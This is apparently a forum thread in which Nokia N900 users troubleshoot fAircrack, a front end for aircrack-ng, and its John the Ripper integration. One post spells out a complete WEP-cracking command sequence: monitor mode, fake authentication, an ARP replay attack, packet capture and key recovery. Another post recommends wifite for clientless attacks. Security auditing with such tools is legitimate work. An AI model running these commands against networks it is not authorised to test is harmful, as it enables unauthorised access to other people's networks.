Hi to all!
Just a little question: do I have to start Bleeding-edge driver everytime I use fAircrack? Else, it doesn't work well?
I'm trying right now, and it seems to work, however.

I think there might be a bug which stops faircrack from working on SSID's that have spaces in their name.

Anyone else catch that ?

sorry if its been mentioned before.

also (not to be a pest) but the macchanger doesn't seem to be very reliable.

hope its not my specific rom or kernel affecting these things :-/

Other than that great app!

As for mac changer, it's 100% reliable in my case. As for AP with spaces inside, it should be working fine using latest (0.45) fAircrack. Be sure to use this version, not 0.30 from first post.

how to use john
when i press it open xterminal windows for second and close nothing happen

Make sure you have John installed on your N900. Use the following command to check:

which john

If you come up empty try the following:

sudo which john

If you still come up empty, you need to install john:

sudo apt-get install john

However, I think this is now broken with the latest Maemo version (1.7.8) of John, since I can't make it work on my unit anymore either. With this latest version we can't use the option to use a configuration file anymore, which is what the script in FAS relies on.

I will have a look at this to see how we need to fix this. This is probably related to the fact that the latest Maemo version of John is the plain vanilla version, not the community enhanced one.

Edit: Other reasons for quitting include no handshake was captured or your cap file is empty.

So, it's better to force earlier version of john and blacklist new one? If yes, which one is best to hold into?

Estel,

I do not think it is that dramatic at the moment, the fix could be as simple as removing the config file setting on the call to john and adding sudo to the call of john, which the new version now seems to require. I will do some testing and revert back soon. Just managed to mess up my device installation with my upgrade to PR 1.3.1, so still trying to get my normal development environment back .

Edit: Confirmed the fix described above in the john.sh script . Back to working basic john functionality (ie. 8 characters/numbers only as described in first post). This is obviously an area of future tweaks/development.

we r waiting thanx for u help

Just curious to know, if possible : what are the commands used by fAircrack?
I use these commands on Xterminal (from my past use of Aircrack ):

/home/user/MyDocs/wl1251-maemo/binary/compat-wireless # sh load.sh
(Load Bleeding-edge wl1251 drivers)

airmon-ng stop ath0
airmon-ng start wlan0
(Put wireless interface in monitor mode)

airodump-ng -c [canal] mon0
(Show all available networks on a specific canal)

aireplay-ng -1 0 -e [AP ESSID] -a [AP BSSID] -h [N900 MAC Address] mon0
(Make a false authentication)

aireplay-ng -3 -b [AP BSSID] -h [N900 MAC Address] mon0
(Perform ARP Request Attack)

airodump-ng -c [canal] --bssid [AP BSSID] -w [capture] mon0
(Capture IV packets and write them to file)

aircrack-ng -z [capture*.cap]
(Find the key)

However, write these commands on the Nokia N900 is quite a pain in the a...

fAircrack is a must have application!!!

Check out cleven and wifite. Especially wifite for clientless attack. Not packaged but it's just a python script on googlecode site that works very well. Cleven is in repos and will hopefully also have this option
